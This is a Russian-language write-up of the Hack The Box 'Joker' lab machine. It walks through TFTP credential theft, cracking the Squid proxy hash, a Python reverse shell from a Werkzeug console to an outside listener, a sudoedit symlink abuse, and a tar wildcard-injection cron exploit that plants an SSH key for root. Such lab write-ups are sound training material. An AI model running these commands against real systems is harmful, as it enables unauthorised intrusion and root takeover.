Обзор сервисов

Запустим сканирование портов с помощью nmap:

$ nmap --privileged -sC -sV -sT -Pn -p- -v -oN nmap 10.10.10.21
22/tcp   open  ssh        OpenSSH 7.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 88:24:e3:57:10:9f:1b:17:3d:7a:f3:26:3d:b6:33:4e (RSA)
|   256 76:b6:f6:08:00:bd:68:ce:97:cb:08:e7:77:69:3d:8a (ECDSA)
|_  256 dc:91:e4:8d:d0:16:ce:cf:3d:91:82:09:23:a7:dc:86 (ED25519)
3128/tcp open  http-proxy Squid http proxy 3.5.12
|_http-server-header: squid/3.5.12
|_http-title: ERROR: The requested URL could not be retrieved
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
$ nmap --privileged -sU -sV -v 10.10.10.21
69 tftp

Обнаруживаем TFTP (по UDP) с анонимным доступом.

TFTP

На TFTP-сервере обнаруживаем хеш паролей от squid.

$ tftp 10.10.10.21
tftp> get /etc/squid/squid.conf
Received 295428 bytes in 32.8 seconds
tftp> get /etc/squid/passwords
Received 48 bytes in 0.1 seconds
$ cat passwords
kalamari:$apr1$zyzBxQYW$pL360IoLQ5Yum5SLTph.l0
$ cat squid.conf
...
acl SSL_ports port 443
acl Safe_ports port 80          # http
acl Safe_ports port 21          # ftp
acl Safe_ports port 443         # https
acl Safe_ports port 70          # gopher
acl Safe_ports port 210         # wais
acl Safe_ports port 1025-65535  # unregistered ports
acl Safe_ports port 280         # http-mgmt
acl Safe_ports port 488         # gss-http
acl Safe_ports port 591         # filemaker
acl Safe_ports port 777         # multiling http
acl CONNECT method CONNECT
http_access deny !Safe_ports
http_access deny CONNECT !SSL_ports
http_access deny manager
auth_param basic program /usr/lib/squid/basic_ncsa_auth /etc/squid/passwords
auth_param basic realm kalamari
acl authenticated proxy_auth REQUIRED
http_access allow authenticated
http_access deny all
http_port 3128
coredump_dir /var/spool/squid
refresh_pattern ^ftp:           1440    20%     10080
refresh_pattern ^gopher:        1440    0%      1440
refresh_pattern -i (/cgi-bin/|\?) 0     0%      0
refresh_pattern (Release|Packages(.gz)*)$      0       20%     2880
refresh_pattern .               0       20%     4320
...

Сбрутим пароль:

$ hashcat -m 1600 --username passwords /usr/share/wordlists/rockyou.txt
kalamari:ihateseafood

Теперь воспользуемся HTTP-прокси, чтобы поискать с помощью gobuster интересные эндпоинты.

$ gobuster dir -u http://127.0.0.1 -w /usr/share/seclists/Discovery/Web-Content/common.txt --proxy="http://kalamari:[email protected]:3128" --threads=50
/console              (Status: 200) [Size: 1479]
/list                 (Status: 301) [Size: 251] [--> http://127.0.0.1/list/]

Находим интересный эндпоинт /console:

Alt text

Так как разрешен только UDP, стартанем nc в режиме UDP.

rlwrap nc -lnvp 1234 -u

В консоли http://127.0.0.1/console запустим реверс-шелл:

import os;os.popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -u 10.10.14.6 1234 >/tmp/f").read()

Alt text

Повышение привилегий до пользователя

Проверим, что может делать пользователь из-под sudo:

werkzeug@joker:~/shorty/data$ sudo -l
Matching Defaults entries for werkzeug on joker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    sudoedit_follow, !sudoedit_checkdir

User werkzeug may run the following commands on joker:
    (alekos) NOPASSWD: sudoedit /var/www/*/*/layout.html

Мы можем редактировать файлы /var/www/*/*/layout.html с помощью sudoedit без пароля, поэтому сделаем символьную ссылку на authorized_keys и добавим туда наш SSH-ключ.

cd /var/www/testing
mkdir t
ln -s /home/alekos/.ssh/authorized_keys /var/www/testing/t/layout.html
sudoedit -u alekos /var/www/testing/t/layout.html

Теперь просто подключимся по SSH:

Пользовательский флаг

alekos@joker:~$ cat user.txt
a298121179fe93f2978d3337dbd7057b

Cron-задача

Находим cron-задачу, которая сжимает /home/alekos/development в /home/alekos/backup/dev-xxxx.tar.gx, поэтому мы можем использовать статью и прописать пользователю root наш SSH-ключ в authorized_keys.

$ cd /home/alekos/development
$ nano test.sh
#!/bin/sh

mkdir /root/.ssh
echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCtRShyvgwXRSQCdJxVHSOmsvH1gbQMXAuUYSs0abix0cynMoPGfWCO9GE9nF6gSvcrvcu5L6aLnOFkot147K8uys3BCGRyeUpkdf+3ulecAHJCvMRymEr0dUzxu+1KTINPrxNtDOf7sLRPIr0pKql7Roi4LQ4SuFuB2Rm+LUaQvjSYbogt+gtEYEOHlfetJC/4XthYcmFi4jQdA9DEva07LIlmIsr/CmtLFZ40/zSKcv88OFXAUW86+82KOR/LcV65TDQ4uXyF72d6R5pmXods7EP3WqdFxsIHq0rGPJPitSSIGzWsYF0k5NdN4i+990OBUi3dHaFHy9F6TVLPR7tQMj6zaSBp4gPnCCsFebLnfuv3tN4gOL7CS21bJS7HYaTa3ApGN+onUyCn7NK0JXpNpm9YUu43IVwNRA6Z6E20hVfbxhEYQLB1PhhfF6DPQ/b4NI8fch1zGV3uL0qK8XL7K8zKsYOgWTffmH2s/kh724HuI2jUxBiJ3RH171cRxnU= kali@kalihackthebox >> /root/.ssh/authorized_keys
$ touch -- --checkpoint=1
$ touch -- '--checkpoint-action=exec=sh test.sh'

Ждем 5 минут и подключаемся по SSH.

Флаг суперпользователя

root@joker:~# cd /root
root@joker:~# ls
backup.sh  root.txt
root@joker:~# id
uid=0(root) gid=0(root) groups=0(root)
root@joker:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:b9:dd:b4 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.21/24 brd 10.10.10.255 scope global ens33
       valid_lft forever preferred_lft forever
    inet6 fe80::250:56ff:feb9:ddb4/64 scope link
       valid_lft forever preferred_lft forever
root@joker:~# cat root.txt
d452b7faf5fd5b30210f340ef1d4146e

Alt text